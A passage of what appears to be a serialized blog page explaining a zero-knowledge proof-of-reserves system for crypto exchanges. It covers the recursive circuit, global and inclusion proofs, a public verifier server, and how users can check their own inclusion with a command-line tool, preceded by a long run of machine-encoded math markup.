ldren":97449},{"className":97448},[6023,23542],[97450],{"type":28,"value":5169},{"type":22,"tag":118,"props":97452,"children":97454},{"className":97453,"style":94643},[6023],[97455],{"type":28,"value":3422},{"type":22,"tag":118,"props":97457,"children":97459},{"className":97458},[6023,23542],[97460],{"type":28,"value":97094},{"type":22,"tag":118,"props":97462,"children":97464},{"className":97463},[6023,23542],[97465],{"type":28,"value":31},{"type":22,"tag":118,"props":97467,"children":97469},{"className":97468},[6023,23542],[97470],{"type":28,"value":94902},{"type":22,"tag":118,"props":97472,"children":97474},{"className":97473},[6023,23542],[97475],{"type":28,"value":23684},{"type":22,"tag":118,"props":97477,"children":97479},{"className":97478},[6023],[97480],{"type":28,"value":292},{"type":22,"tag":118,"props":97482,"children":97484},{"className":97483},[6023,23542],[97485],{"type":28,"value":42},{"type":22,"tag":118,"props":97487,"children":97489},{"className":97488},[6023,23542],[97490],{"type":28,"value":94634},{"type":22,"tag":118,"props":97492,"children":97494},{"className":97493},[6023,23542],[97495],{"type":28,"value":23684},{"type":22,"tag":118,"props":97497,"children":97499},{"className":97498,"style":94643},[6023],[97500],{"type":28,"value":3422},{"type":22,"tag":118,"props":97502,"children":97504},{"className":97503},[6023,23542],[97505],{"type":28,"value":31},{"type":22,"tag":118,"props":97507,"children":97509},{"className":97508,"style":94643},[6023,23542],[97510],{"type":28,"value":95462},{"type":22,"tag":118,"props":97512,"children":97514},{"className":97513},[6023,23542],[97515],{"type":28,"value":3613},{"type":22,"tag":118,"props":97517,"children":97519},{"className":97518},[6023,23542],[97520],{"type":28,"value":95473},{"type":22,"tag":118,"props":97522,"children":97524},{"className":97523},[23671],[97525],{"type":28,"value":5746},{"type":22,"tag":118,"props":97527,"children":97529},{"className":97528},[6023],[97530],{"type":28,"value":6036},{"type":22,"tag":118,"props":97532,"children":97534},{"className":97533},[23693],[97535],{"type":28,"value":17386},{"type":22,"tag":68,"props":97537,"children":97538},{},[97539,97897,97898],{"type":22,"tag":114,"props":97540,"children":97542},{"className":97541},[5995,5996],[97543],{"type":22,"tag":118,"props":97544,"children":97546},{"className":97545},[6001],[97547],{"type":22,"tag":118,"props":97548,"children":97550},{"className":97549,"ariaHidden":6007},[6006],[97551,97657],{"type":22,"tag":118,"props":97552,"children":97554},{"className":97553},[6012],[97555,97559,97564,97569,97574,97579,97584,97589,97594,97599,97604,97609,97614,97619,97624,97629,97634,97639,97644,97648,97653],{"type":22,"tag":118,"props":97556,"children":97558},{"className":97557,"style":94585},[6017],[],{"type":22,"tag":118,"props":97560,"children":97562},{"className":97561},[6023,23542],[97563],{"type":28,"value":42},{"type":22,"tag":118,"props":97565,"children":97567},{"className":97566},[6023,23542],[97568],{"type":28,"value":94634},{"type":22,"tag":118,"props":97570,"children":97572},{"className":97571},[6023,23542],[97573],{"type":28,"value":23684},{"type":22,"tag":118,"props":97575,"children":97577},{"className":97576,"style":94643},[6023],[97578],{"type":28,"value":3422},{"type":22,"tag":118,"props":97580,"children":97582},{"className":97581},[6023,23542],[97583],{"type":28,"value":31},{"type":22,"tag":118,"props":97585,"children":97587},{"className":97586,"style":94643},[6023,23542],[97588],{"type":28,"value":95462},{"type":22,"tag":118,"props":97590,"children":97592},{"className":97591},[6023,23542],[97593],{"type":28,"value":3613},{"type":22,"tag":118,"props":97595,"children":97597},{"className":97596},[6023,23542],[97598],{"type":28,"value":94670},{"type":22,"tag":118,"props":97600,"children":97602},{"className":97601},[23671],[97603],{"type":28,"value":5746},{"type":22,"tag":118,"props":97605,"children":97607},{"className":97606},[6023,23542],[97608],{"type":28,"value":42},{"type":22,"tag":118,"props":97610,"children":97612},{"className":97611},[6023,23542],[97613],{"type":28,"value":94634},{"type":22,"tag":118,"props":97615,"children":97617},{"className":97616},[6023,23542],[97618],{"type":28,"value":23684},{"type":22,"tag":118,"props":97620,"children":97622},{"className":97621,"style":94643},[6023],[97623],{"type":28,"value":3422},{"type":22,"tag":118,"props":97625,"children":97627},{"className":97626},[6023,23542],[97628],{"type":28,"value":58344},{"type":22,"tag":118,"props":97630,"children":97632},{"className":97631},[6023,23542],[97633],{"type":28,"value":94902},{"type":22,"tag":118,"props":97635,"children":97637},{"className":97636},[6023,23542],[97638],{"type":28,"value":53074},{"type":22,"tag":118,"props":97640,"children":97642},{"className":97641},[23693],[97643],{"type":28,"value":17386},{"type":22,"tag":118,"props":97645,"children":97647},{"className":97646,"style":6202},[6104],[],{"type":22,"tag":118,"props":97649,"children":97651},{"className":97650},[6207],[97652],{"type":28,"value":302},{"type":22,"tag":118,"props":97654,"children":97656},{"className":97655,"style":6202},[6104],[],{"type":22,"tag":118,"props":97658,"children":97660},{"className":97659},[6012],[97661,97665,97670,97675,97680,97685,97690,97747,97752,97757,97762,97767,97772,97777,97782,97787,97792,97797,97802,97807,97812,97817,97822,97827,97832,97837,97842,97847,97852,97857,97862,97867,97872,97877,97882,97887,97892],{"type":22,"tag":118,"props":97662,"children":97664},{"className":97663,"style":94585},[6017],[],{"type":22,"tag":118,"props":97666,"children":97668},{"className":97667},[6023,23542],[97669],{"type":28,"value":12650},{"type":22,"tag":118,"props":97671,"children":97673},{"className":97672},[6023,23542],[97674],{"type":28,"value":94902},{"type":22,"tag":118,"props":97676,"children":97678},{"className":97677},[6023,23542],[97679],{"type":28,"value":5243},{"type":22,"tag":118,"props":97681,"children":97683},{"className":97682},[6023,23542],[97684],{"type":28,"value":31},{"type":22,"tag":118,"props":97686,"children":97688},{"className":97687},[6023,23542],[97689],{"type":28,"value":96989},{"type":22,"tag":118,"props":97691,"children":97693},{"className":97692},[6023],[97694,97699],{"type":22,"tag":118,"props":97695,"children":97697},{"className":97696,"style":96997},[6023,23542],[97698],{"type":28,"value":35024},{"type":22,"tag":118,"props":97700,"children":97702},{"className":97701},[6040],[97703],{"type":22,"tag":118,"props":97704,"children":97706},{"className":97705},[6045,23596],[97707,97736],{"type":22,"tag":118,"props":97708,"children":97710},{"className":97709},[6050],[97711,97731],{"type":22,"tag":118,"props":97712,"children":97714},{"className":97713,"style":95172},[6055],[97715],{"type":22,"tag":118,"props":97716,"children":97717},{"style":97018},[97718,97722],{"type":22,"tag":118,"props":97719,"children":97721},{"className":97720,"style":6065},[6064],[],{"type":22,"tag":118,"props":97723,"children":97725},{"className":97724},[6070,6071,6072,6073],[97726],{"type":22,"tag":118,"props":97727,"children":97729},{"className":97728},[6023,23542,6073],[97730],{"type":28,"value":3613},{"type":22,"tag":118,"props":97732,"children":97734},{"className":97733},[23699],[97735],{"type":28,"value":23702},{"type":22,"tag":118,"props":97737,"children":97739},{"className":97738},[6050],[97740],{"type":22,"tag":118,"props":97741,"children":97743},{"className":97742,"style":94726},[6055],[97744],{"type":22,"tag":118,"props":97745,"children":97746},{},[],{"type":22,"tag":118,"props":97748,"children":97750},{"className":97749},[6023],[97751],{"type":28,"value":292},{"type":22,"tag":118,"props":97753,"children":97755},{"className":97754},[6023,23542],[97756],{"type":28,"value":31},{"type":22,"tag":118,"props":97758,"children":97760},{"className":97759},[6023,23542],[97761],{"type":28,"value":94902},{"type":22,"tag":118,"props":97763,"children":97765},{"className":97764},[6023,23542],[97766],{"type":28,"value":5243},{"type":22,"tag":118,"props":97768,"children":97770},{"className":97769,"style":94655},[6023,23542],[97771],{"type":28,"value":94658},{"type":22,"tag":118,"props":97773,"children":97775},{"className":97774},[6023,23542],[97776],{"type":28,"value":3613},{"type":22,"tag":118,"props":97778,"children":97780},{"className":97779},[6023,23542],[97781],{"type":28,"value":5169},{"type":22,"tag":118,"props":97783,"children":97785},{"className":97784,"style":94643},[6023],[97786],{"type":28,"value":3422},{"type":22,"tag":118,"props":97788,"children":97790},{"className":97789},[6023,23542],[97791],{"type":28,"value":97094},{"type":22,"tag":118,"props":97793,"children":97795},{"className":97794},[6023,23542],[97796],{"type":28,"value":31},{"type":22,"tag":118,"props":97798,"children":97800},{"className":97799},[6023,23542],[97801],{"type":28,"value":94902},{"type":22,"tag":118,"props":97803,"children":97805},{"className":97804},[6023,23542],[97806],{"type":28,"value":23684},{"type":22,"tag":118,"props":97808,"children":97810},{"className":97809},[6023],[97811],{"type":28,"value":292},{"type":22,"tag":118,"props":97813,"children":97815},{"className":97814},[6023,23542],[97816],{"type":28,"value":42},{"type":22,"tag":118,"props":97818,"children":97820},{"className":97819},[6023,23542],[97821],{"type":28,"value":94634},{"type":22,"tag":118,"props":97823,"children":97825},{"className":97824},[6023,23542],[97826],{"type":28,"value":23684},{"type":22,"tag":118,"props":97828,"children":97830},{"className":97829,"style":94643},[6023],[97831],{"type":28,"value":3422},{"type":22,"tag":118,"props":97833,"children":97835},{"className":97834},[6023,23542],[97836],{"type":28,"value":31},{"type":22,"tag":118,"props":97838,"children":97840},{"className":97839,"style":94643},[6023,23542],[97841],{"type":28,"value":95462},{"type":22,"tag":118,"props":97843,"children":97845},{"className":97844},[6023,23542],[97846],{"type":28,"value":3613},{"type":22,"tag":118,"props":97848,"children":97850},{"className":97849},[6023,23542],[97851],{"type":28,"value":95473},{"type":22,"tag":118,"props":97853,"children":97855},{"className":97854},[23671],[97856],{"type":28,"value":5746},{"type":22,"tag":118,"props":97858,"children":97860},{"className":97859},[6023,23542],[97861],{"type":28,"value":42},{"type":22,"tag":118,"props":97863,"children":97865},{"className":97864},[6023,23542],[97866],{"type":28,"value":94634},{"type":22,"tag":118,"props":97868,"children":97870},{"className":97869},[6023,23542],[97871],{"type":28,"value":23684},{"type":22,"tag":118,"props":97873,"children":97875},{"className":97874,"style":94643},[6023],[97876],{"type":28,"value":3422},{"type":22,"tag":118,"props":97878,"children":97880},{"className":97879},[6023,23542],[97881],{"type":28,"value":58344},{"type":22,"tag":118,"props":97883,"children":97885},{"className":97884},[6023,23542],[97886],{"type":28,"value":94902},{"type":22,"tag":118,"props":97888,"children":97890},{"className":97889},[6023,23542],[97891],{"type":28,"value":53074},{"type":22,"tag":118,"props":97893,"children":97895},{"className":97894},[23693],[97896],{"type":28,"value":17386},{"type":28,"value":8467},{"type":22,"tag":74,"props":97899,"children":97900},{},[97901],{"type":28,"value":97902},"(verifies if all asset prices are the same)",{"type":22,"tag":68,"props":97904,"children":97905},{},[97906,98285,98286],{"type":22,"tag":114,"props":97907,"children":97909},{"className":97908},[5995,5996],[97910],{"type":22,"tag":118,"props":97911,"children":97913},{"className":97912},[6001],[97914],{"type":22,"tag":118,"props":97915,"children":97917},{"className":97916,"ariaHidden":6007},[6006],[97918,97999],{"type":22,"tag":118,"props":97919,"children":97921},{"className":97920},[6012],[97922,97926,97931,97936,97941,97946,97951,97956,97961,97966,97971,97976,97981,97986,97990,97995],{"type":22,"tag":118,"props":97923,"children":97925},{"className":97924,"style":96056},[6017],[],{"type":22,"tag":118,"props":97927,"children":97929},{"className":97928},[6023,23542],[97930],{"type":28,"value":53074},{"type":22,"tag":118,"props":97932,"children":97934},{"className":97933,"style":94643},[6023,23542],[97935],{"type":28,"value":96068},{"type":22,"tag":118,"props":97937,"children":97939},{"className":97938,"style":96072},[6023,23542],[97940],{"type":28,"value":90280},{"type":22,"tag":118,"props":97942,"children":97944},{"className":97943,"style":94655},[6023,23542],[97945],{"type":28,"value":94658},{"type":22,"tag":118,"props":97947,"children":97949},{"className":97948},[6023,23542],[97950],{"type":28,"value":53395},{"type":22,"tag":118,"props":97952,"children":97954},{"className":97953,"style":94643},[6023],[97955],{"type":28,"value":3422},{"type":22,"tag":118,"props":97957,"children":97959},{"className":97958},[6023,23542],[97960],{"type":28,"value":23684},{"type":22,"tag":118,"props":97962,"children":97964},{"className":97963},[6023,23542],[97965],{"type":28,"value":96100},{"type":22,"tag":118,"props":97967,"children":97969},{"className":97968,"style":94643},[6023],[97970],{"type":28,"value":3422},{"type":22,"tag":118,"props":97972,"children":97974},{"className":97973},[6023,23542],[97975],{"type":28,"value":96111},{"type":22,"tag":118,"props":97977,"children":97979},{"className":97978},[6023,23542],[97980],{"type":28,"value":12650},{"type":22,"tag":118,"props":97982,"children":97984},{"className":97983},[6023,23542],[97985],{"type":28,"value":85941},{"type":22,"tag":118,"props":97987,"children":97989},{"className":97988,"style":6202},[6104],[],{"type":22,"tag":118,"props":97991,"children":97993},{"className":97992},[6207],[97994],{"type":28,"value":302},{"type":22,"tag":118,"props":97996,"children":97998},{"className":97997,"style":6202},[6104],[],{"type":22,"tag":118,"props":98000,"children":98002},{"className":98001},[6012],[98003,98007,98012,98017,98022,98027,98032,98037,98042,98047,98052,98109,98114,98118,98123,98128,98185,98190,98194,98199,98204,98208,98213,98218,98280],{"type":22,"tag":118,"props":98004,"children":98006},{"className":98005,"style":6125},[6017],[],{"type":22,"tag":118,"props":98008,"children":98010},{"className":98009,"style":23543},[6023,23542],[98011],{"type":28,"value":23546},{"type":22,"tag":118,"props":98013,"children":98015},{"className":98014},[6023,23542],[98016],{"type":28,"value":94597},{"type":22,"tag":118,"props":98018,"children":98020},{"className":98019},[6023,23542],[98021],{"type":28,"value":3613},{"type":22,"tag":118,"props":98023,"children":98025},{"className":98024},[6023,23542],[98026],{"type":28,"value":72503},{"type":22,"tag":118,"props":98028,"children":98030},{"className":98029},[6023,23542],[98031],{"type":28,"value":94613},{"type":22,"tag":118,"props":98033,"children":98035},{"className":98034},[6023,23542],[98036],{"type":28,"value":58344},{"type":22,"tag":118,"props":98038,"children":98040},{"className":98039},[23671],[98041],{"type":28,"value":540},{"type":22,"tag":118,"props":98043,"children":98045},{"className":98044},[6023,23542],[98046],{"type":28,"value":96111},{"type":22,"tag":118,"props":98048,"children":98050},{"className":98049},[6023,23542],[98051],{"type":28,"value":12650},{"type":22,"tag":118,"props":98053,"children":98055},{"className":98054},[6023],[98056,98061],{"type":22,"tag":118,"props":98057,"children":98059},{"className":98058},[6023,23542],[98060],{"type":28,"value":85941},{"type":22,"tag":118,"props":98062,"children":98064},{"className":98063},[6040],[98065],{"type":22,"tag":118,"props":98066,"children":98068},{"className":98067},[6045,23596],[98069,98098],{"type":22,"tag":118,"props":98070,"children":98072},{"className":98071},[6050],[98073,98093],{"type":22,"tag":118,"props":98074,"children":98076},{"className":98075,"style":94695},[6055],[98077],{"type":22,"tag":118,"props":98078,"children":98079},{"style":94699},[98080,98084],{"type":22,"tag":118,"props":98081,"children":98083},{"className":98082,"style":6065},[6064],[],{"type":22,"tag":118,"props":98085,"children":98087},{"className":98086},[6070,6071,6072,6073],[98088],{"type":22,"tag":118,"props":98089,"children":98091},{"className":98090},[6023,6073],[98092],{"type":28,"value":6036},{"type":22,"tag":118,"props":98094,"children":98096},{"className":98095},[23699],[98097],{"type":28,"value":23702},{"type":22,"tag":118,"props":98099,"children":98101},{"className":98100},[6050],[98102],{"type":22,"tag":118,"props":98103,"children":98105},{"className":98104,"style":94726},[6055],[98106],{"type":22,"tag":118,"props":98107,"children":98108},{},[],{"type":22,"tag":118,"props":98110,"children":98112},{"className":98111},[6136],[98113],{"type":28,"value":6139},{"type":22,"tag":118,"props":98115,"children":98117},{"className":98116,"style":6143},[6104],[],{"type":22,"tag":118,"props":98119,"children":98121},{"className":98120},[6023,23542],[98122],{"type":28,"value":96111},{"type":22,"tag":118,"props":98124,"children":98126},{"className":98125},[6023,23542],[98127],{"type":28,"value":12650},{"type":22,"tag":118,"props":98129,"children":98131},{"className":98130},[6023],[98132,98137],{"type":22,"tag":118,"props":98133,"children":98135},{"className":98134},[6023,23542],[98136],{"type":28,"value":85941},{"type":22,"tag":118,"props":98138,"children":98140},{"className":98139},[6040],[98141],{"type":22,"tag":118,"props":98142,"children":98144},{"className":98143},[6045,23596],[98145,98174],{"type":22,"tag":118,"props":98146,"children":98148},{"className":98147},[6050],[98149,98169],{"type":22,"tag":118,"props":98150,"children":98152},{"className":98151,"style":94695},[6055],[98153],{"type":22,"tag":118,"props":98154,"children":98155},{"style":94699},[98156,98160],{"type":22,"tag":118,"props":98157,"children":98159},{"className":98158,"style":6065},[6064],[],{"type":22,"tag":118,"props":98161,"children":98163},{"className":98162},[6070,6071,6072,6073],[98164],{"type":22,"tag":118,"props":98165,"children":98167},{"className":98166},[6023,6073],[98168],{"type":28,"value":6026},{"type":22,"tag":118,"props":98170,"children":98172},{"className":98171},[23699],[98173],{"type":28,"value":23702},{"type":22,"tag":118,"props":98175,"children":98177},{"className":98176},[6050],[98178],{"type":22,"tag":118,"props":98179,"children":98181},{"className":98180,"style":94726},[6055],[98182],{"type":22,"tag":118,"props":98183,"children":98184},{},[],{"type":22,"tag":118,"props":98186,"children":98188},{"className":98187},[6136],[98189],{"type":28,"value":6139},{"type":22,"tag":118,"props":98191,"children":98193},{"className":98192,"style":6143},[6104],[],{"type":22,"tag":118,"props":98195,"children":98197},{"className":98196},[6023],[98198],{"type":28,"value":11589},{"type":22,"tag":118,"props":98200,"children":98202},{"className":98201},[6136],[98203],{"type":28,"value":6139},{"type":22,"tag":118,"props":98205,"children":98207},{"className":98206,"style":6143},[6104],[],{"type":22,"tag":118,"props":98209,"children":98211},{"className":98210},[6023,23542],[98212],{"type":28,"value":96111},{"type":22,"tag":118,"props":98214,"children":98216},{"className":98215},[6023,23542],[98217],{"type":28,"value":12650},{"type":22,"tag":118,"props":98219,"children":98221},{"className":98220},[6023],[98222,98227],{"type":22,"tag":118,"props":98223,"children":98225},{"className":98224},[6023,23542],[98226],{"type":28,"value":85941},{"type":22,"tag":118,"props":98228,"children":98230},{"className":98229},[6040],[98231],{"type":22,"tag":118,"props":98232,"children":98234},{"className":98233},[6045,23596],[98235,98269],{"type":22,"tag":118,"props":98236,"children":98238},{"className":98237},[6050],[98239,98264],{"type":22,"tag":118,"props":98240,"children":98242},{"className":98241,"style":94695},[6055],[98243],{"type":22,"tag":118,"props":98244,"children":98245},{"style":94699},[98246,98250],{"type":22,"tag":118,"props":98247,"children":98249},{"className":98248,"style":6065},[6064],[],{"type":22,"tag":118,"props":98251,"children":98253},{"className":98252},[6070,6071,6072,6073],[98254],{"type":22,"tag":118,"props":98255,"children":98257},{"className":98256},[6023,6073],[98258],{"type":22,"tag":118,"props":98259,"children":98261},{"className":98260},[6023,6073],[98262],{"type":28,"value":98263},"31",{"type":22,"tag":118,"props":98265,"children":98267},{"className":98266},[23699],[98268],{"type":28,"value":23702},{"type":22,"tag":118,"props":98270,"children":98272},{"className":98271},[6050],[98273],{"type":22,"tag":118,"props":98274,"children":98276},{"className":98275,"style":94726},[6055],[98277],{"type":22,"tag":118,"props":98278,"children":98279},{},[],{"type":22,"tag":118,"props":98281,"children":98283},{"className":98282},[23693],[98284],{"type":28,"value":3627},{"type":28,"value":8467},{"type":22,"tag":74,"props":98287,"children":98288},{},[98289],{"type":28,"value":96431},{"type":22,"tag":68,"props":98291,"children":98292},{},[98293,98298,98299],{"type":22,"tag":4764,"props":98294,"children":98295},{},[98296],{"type":28,"value":98297},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":28,"value":8467},{"type":22,"tag":74,"props":98300,"children":98301},{},[98302],{"type":28,"value":96715},{"type":22,"tag":31,"props":98304,"children":98305},{},[98306],{"type":28,"value":98307},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":22,"tag":31,"props":98309,"children":98310},{},[98311],{"type":22,"tag":5928,"props":98312,"children":98314},{"alt":52519,"src":98313},"/posts/por/recursive-circuit.png",[],{"type":22,"tag":23,"props":98316,"children":98318},{"id":98317},"global-proof-and-inclusion-proofs",[98319],{"type":28,"value":98320},"Global Proof and Inclusion Proofs",{"type":22,"tag":1289,"props":98322,"children":98323},{"id":11279},[98324],{"type":28,"value":98325},"Proving",{"type":22,"tag":31,"props":98327,"children":98328},{},[98329,98331,98337,98338,98344,98345,98351],{"type":28,"value":98330},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":22,"tag":114,"props":98332,"children":98334},{"className":98333},[],[98335],{"type":28,"value":98336},"merkle_tree.json",{"type":28,"value":231},{"type":22,"tag":114,"props":98339,"children":98341},{"className":98340},[],[98342],{"type":28,"value":98343},"final_proof.json",{"type":28,"value":8497},{"type":22,"tag":114,"props":98346,"children":98348},{"className":98347},[],[98349],{"type":28,"value":98350},"private_nonces.json",{"type":28,"value":98352}," files.",{"type":22,"tag":31,"props":98354,"children":98355},{},[98356],{"type":28,"value":98357},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":22,"tag":31,"props":98359,"children":98360},{},[98361,98363,98369,98371,98376],{"type":28,"value":98362},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":22,"tag":114,"props":98364,"children":98366},{"className":98365},[],[98367],{"type":28,"value":98368},"inclusion_proof_\u003Cid>.json",{"type":28,"value":98370},"). ",{"type":22,"tag":4764,"props":98372,"children":98373},{},[98374],{"type":28,"value":98375},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":28,"value":292},{"type":22,"tag":1289,"props":98378,"children":98380},{"id":98379},"verifying",[98381],{"type":28,"value":98382},"Verifying",{"type":22,"tag":31,"props":98384,"children":98385},{},[98386],{"type":22,"tag":74,"props":98387,"children":98388},{},[98389],{"type":28,"value":98390},"Global Proof",{"type":22,"tag":31,"props":98392,"children":98393},{},[98394,98396,98401,98402,98407],{"type":28,"value":98395},"To verify the global proof, the code deserializes the ",{"type":22,"tag":114,"props":98397,"children":98399},{"className":98398},[],[98400],{"type":28,"value":98336},{"type":28,"value":39491},{"type":22,"tag":114,"props":98403,"children":98405},{"className":98404},[],[98406],{"type":28,"value":98343},{"type":28,"value":98408}," files and performs these checks:",{"type":22,"tag":4029,"props":98410,"children":98411},{},[98412,98417,98422,98427,98453],{"type":22,"tag":68,"props":98413,"children":98414},{},[98415],{"type":28,"value":98416},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":22,"tag":68,"props":98418,"children":98419},{},[98420],{"type":28,"value":98421},"Verify the ZK final proof.",{"type":22,"tag":68,"props":98423,"children":98424},{},[98425],{"type":28,"value":98426},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":22,"tag":68,"props":98428,"children":98429},{},[98430,98432,98438,98440,98445,98446,98451],{"type":28,"value":98431},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":22,"tag":114,"props":98433,"children":98435},{"className":98434},[],[98436],{"type":28,"value":98437},"merkle_tree_hash",{"type":28,"value":98439}," public input. This ensures that the ",{"type":22,"tag":114,"props":98441,"children":98443},{"className":98442},[],[98444],{"type":28,"value":98336},{"type":28,"value":12991},{"type":22,"tag":114,"props":98447,"children":98449},{"className":98448},[],[98450],{"type":28,"value":98343},{"type":28,"value":98452}," are linked (they belong to the same global proof).",{"type":22,"tag":68,"props":98454,"children":98455},{},[98456],{"type":28,"value":98457},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":22,"tag":31,"props":98459,"children":98460},{},[98461],{"type":22,"tag":74,"props":98462,"children":98463},{},[98464],{"type":28,"value":98465},"Inclusion Proof",{"type":22,"tag":31,"props":98467,"children":98468},{},[98469,98471,98476,98478,98483],{"type":28,"value":98470},"To verify the inclusion proof, the code deserializes the ",{"type":22,"tag":114,"props":98472,"children":98474},{"className":98473},[],[98475],{"type":28,"value":98368},{"type":28,"value":98477}," file and also the ",{"type":22,"tag":114,"props":98479,"children":98481},{"className":98480},[],[98482],{"type":28,"value":98343},{"type":28,"value":98484},". After that, it performs these checks:",{"type":22,"tag":4029,"props":98486,"children":98487},{},[98488,98492,98497,98502],{"type":22,"tag":68,"props":98489,"children":98490},{},[98491],{"type":28,"value":98421},{"type":22,"tag":68,"props":98493,"children":98494},{},[98495],{"type":28,"value":98496},"Verify if the Merkle tree root is the same as in the final proof.",{"type":22,"tag":68,"props":98498,"children":98499},{},[98500],{"type":28,"value":98501},"Recalculate the user-related node leaf hash.",{"type":22,"tag":68,"props":98503,"children":98504},{},[98505],{"type":28,"value":98506},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":22,"tag":23,"props":98508,"children":98510},{"id":98509},"por-verifier-server",[98511],{"type":28,"value":98512},"PoR Verifier Server",{"type":22,"tag":31,"props":98514,"children":98515},{},[98516,98518,98524],{"type":28,"value":98517},"To automate the verification process, we created a ",{"type":22,"tag":42,"props":98519,"children":98521},{"href":94154,"rel":98520},[46],[98522],{"type":28,"value":98523},"verifier server",{"type":28,"value":98525}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":22,"tag":31,"props":98527,"children":98528},{},[98529],{"type":28,"value":98530},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":22,"tag":31,"props":98532,"children":98533},{},[98534],{"type":22,"tag":5928,"props":98535,"children":98537},{"alt":52519,"src":98536},"/posts/por/backpack-por.png",[],{"type":22,"tag":31,"props":98539,"children":98540},{},[98541],{"type":28,"value":98542},"Here is a breakdown of what fields represent and why they are required:",{"type":22,"tag":64,"props":98544,"children":98545},{},[98546,98556,98566,98576,98586,98596],{"type":22,"tag":68,"props":98547,"children":98548},{},[98549,98554],{"type":22,"tag":74,"props":98550,"children":98551},{},[98552],{"type":28,"value":98553},"Status",{"type":28,"value":98555}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":22,"tag":68,"props":98557,"children":98558},{},[98559,98564],{"type":22,"tag":74,"props":98560,"children":98561},{},[98562],{"type":28,"value":98563},"Proof Timestamp",{"type":28,"value":98565}," --> when the proof was generated by the exchange.",{"type":22,"tag":68,"props":98567,"children":98568},{},[98569,98574],{"type":22,"tag":74,"props":98570,"children":98571},{},[98572],{"type":28,"value":98573},"Verify Timestamp",{"type":28,"value":98575}," --> when the proof was verified by the PoR server.",{"type":22,"tag":68,"props":98577,"children":98578},{},[98579,98584],{"type":22,"tag":74,"props":98580,"children":98581},{},[98582],{"type":28,"value":98583},"Proof File URL",{"type":28,"value":98585}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":22,"tag":68,"props":98587,"children":98588},{},[98589,98594],{"type":22,"tag":74,"props":98590,"children":98591},{},[98592],{"type":28,"value":98593},"Prover Version",{"type":28,"value":98595}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":22,"tag":68,"props":98597,"children":98598},{},[98599,98604],{"type":22,"tag":74,"props":98600,"children":98601},{},[98602],{"type":28,"value":98603},"File Hash (SHA256)",{"type":28,"value":98605}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":22,"tag":31,"props":98607,"children":98608},{},[98609],{"type":28,"value":98610},"Also, you can check the exchange's liabilities on the website:",{"type":22,"tag":31,"props":98612,"children":98613},{},[98614],{"type":22,"tag":5928,"props":98615,"children":98617},{"alt":52519,"src":98616},"/posts/por/backpack-por-liabilities.png",[],{"type":22,"tag":31,"props":98619,"children":98620},{},[98621,98623,98629,98631,98637],{"type":28,"value":98622},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":22,"tag":42,"props":98624,"children":98627},{"href":98625,"rel":98626},"https://backpack.exchange/reserves",[46],[98628],{"type":28,"value":98625},{"type":28,"value":98630}," and our verifier server for backpack at ",{"type":22,"tag":42,"props":98632,"children":98635},{"href":98633,"rel":98634},"https://backpack-por.osec.io/",[46],[98636],{"type":28,"value":98633},{"type":28,"value":292},{"type":22,"tag":23,"props":98639,"children":98641},{"id":98640},"self-verification",[98642],{"type":28,"value":98643},"Self-verification",{"type":22,"tag":31,"props":98645,"children":98646},{},[98647],{"type":28,"value":98648},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":22,"tag":1289,"props":98650,"children":98652},{"id":98651},"how-to-verify-if-i-was-included",[98653],{"type":28,"value":98654},"How to verify if I was included?",{"type":22,"tag":31,"props":98656,"children":98657},{},[98658],{"type":28,"value":98659},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":22,"tag":4029,"props":98661,"children":98662},{},[98663,98674,98692],{"type":22,"tag":68,"props":98664,"children":98665},{},[98666,98673],{"type":22,"tag":42,"props":98667,"children":98670},{"href":98668,"rel":98669},"https://github.com/otter-sec/por_v2/releases",[46],[98671],{"type":28,"value":98672},"Download the PoRv2 executable from our github",{"type":28,"value":292},{"type":22,"tag":68,"props":98675,"children":98676},{},[98677,98679,98684,98685,98690],{"type":28,"value":98678},"Download the inclusion and the final proof files from the exchange (",{"type":22,"tag":114,"props":98680,"children":98682},{"className":98681},[],[98683],{"type":28,"value":98368},{"type":28,"value":12991},{"type":22,"tag":114,"props":98686,"children":98688},{"className":98687},[],[98689],{"type":28,"value":98343},{"type":28,"value":98691},") and put the files in the same directory as the PoRv2 app.",{"type":22,"tag":68,"props":98693,"children":98694},{},[98695,98697,98703],{"type":28,"value":98696},"Open the terminal and execute this: ",{"type":22,"tag":114,"props":98698,"children":98700},{"className":98699},[],[98701],{"type":28,"value":98702},"./plonky2_por verify-inclusion",{"type":28,"value":292},{"type":22,"tag":31,"props":98705,"children":98706},{},[98707],{"type":28,"value":98708},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being 